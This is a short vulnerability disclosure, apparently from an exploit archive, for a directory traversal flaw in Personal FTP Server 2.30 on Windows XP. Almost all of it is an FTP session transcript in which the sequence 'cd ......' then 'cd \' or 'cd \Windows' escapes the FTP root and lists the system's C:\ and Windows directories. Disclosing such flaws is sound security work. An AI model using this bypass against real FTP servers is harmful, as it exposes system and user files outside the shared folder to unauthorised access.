Found by nekd0: 01.25.05 Personal FTP Server ver 2.30 Vendor: http://www.cooolsoft.com/ Tested on WinXP sp2 (RUS) Vuln: Directory traveling. *************************** *************************** C:\>ftp ftp> open localhost Связь с 0xff. 220 Personal FTP Server ready Пользователь (0xff:(none)): root 331 Password required for root. Пароль: 230 User root logged in. ftp> ls 200 Port command successful. 150 Opening data connection for directory list. . .. 1 index.txt 226 File sent ok ftp: 21 байт получено за 0,00 (сек) со скоростью 21000,00 (КБ/сек). ftp> pwd 257 "C:/ftproot/" is current directory. ftp> cd .. 250 CWD command successful. "C:/ftproot/" is current directory. ftp> cd \ 501 CWD failed. No permission ftp> cd ...... 250 CWD command successful. "C:/ftproot/.../" is current directory. ftp> cd \ 501 Cannot accept relative path using dot notation ftp> pwd 257 "C:/" is current directory. ftp> dir 200 Port command successful. 150 Opening data connection for directory list. drw-rw-rw- 1 ftp ftp 0 Nov 18 2004 2exe -rw-rw-rw- 1 ftp ftp 20 Dec 29 2004 p drw-rw-rw- 1 ftp ftp 0 Nov 19 2004 study drw-rw-rw- 1 ftp ftp 0 Nov 23 2004 Si drw-rw-rw- 1 ftp ftp 0 Nov 22 2004 C drw-rw-rw- 1 ftp ftp 0 Jan 23 14:16 shttps -rw-rw-rw- 1 ftp ftp 1064 Nov 27 2004 rar.zip -rwxrwxrwx 1 ftp ftp 55808 Nov 23 2004 rar.exe [...skipped...] drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 WINDOWS drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 totalcmd drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 perl drw-rw-rw- 1 ftp ftp 0 Dec 14 2004 modem -rw-rw-rw- 1 ftp ftp 306087 Dec 15 2004 cva_datasheet.pdf -rw-rw-rw- 1 ftp ftp 42015 Dec 15 2004 Sample Test Reports.pdf -rw-rw-rw- 1 ftp ftp 157506 Dec 15 2004 GIS Evaluation.pdf -rw-rw-rw- 1 ftp ftp 1165421 Dec 15 2004 Sample Final Report.pdf 226 File sent ok ftp: 7385 байт получено за 0,22 (сек) со скоростью 33,57 (КБ/сек). ftp> pwd 257 "C:/" is current directory. ftp> cd Windows 501 CWD failed. No permission ftp> cd \ftproot 250 CWD command successful. "C:/ftproot/" is current directory. ftp> cd ...... 250 CWD command successful. "C:/ftproot/.../" is current directory. ftp> cd \Windows 501 Cannot accept relative path using dot notation ftp> pwd 257 "C:/Windows/" is current directory. ftp> dir 200 Port command successful. 150 Opening data connection for directory list. drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 . drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 .. drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 system32 drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 system drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 repair drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 Help dr--r--r-- 1 ftp ftp 0 Dec 13 2004 Fonts drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 Config -rwxrwxrwx 1 ftp ftp 36352 Aug 24 2001 svchost.exe drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 Cursors drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 Media drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 java dr--r--r-- 1 ftp ftp 0 Jan 13 00:27 Web drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 addins drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 Connection Wizard drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 Driver Cache drw-rw-rw- 1 ftp ftp 0 Dec 13 2004 security [...skipped...] -rw-rw-rw- 1 ftp ftp 40 Jan 14 23:46 notepad.dat -rw-rw-rw- 1 ftp ftp 286 Jan 16 11:33 nsw.log -rw-rw-rw- 1 ftp ftp 16 Jan 17 13:46 odbctrap.ini -rw-rw-rw- 1 ftp ftp 12 Jan 18 18:40 MTWDAS.INI drw-rw-rw- 1 ftp ftp 0 Dec 14 2004 Minidump -rw-rw-rw- 1 ftp ftp 4 Jan 21 12:29 SAXGATXNMY -rw-rw-rw- 1 ftp ftp 31 Jan 19 17:16 Hosts -rw-rw-rw- 1 ftp ftp 12 Jan 25 12:41 system32CoolExpire drw-rw-rw- 1 ftp ftp 0 Dec 14 2004 Mozilla drw-rw-rw- 1 ftp ftp 0 Dec 22 2004 RegisteredPackages drw-rw-rw- 1 ftp ftp 0 Dec 16 2004 Profiles 226 File sent ok ftp: 8883 байт получено за 0,22 (сек) со скоростью 40,38 (КБ/сек). ftp>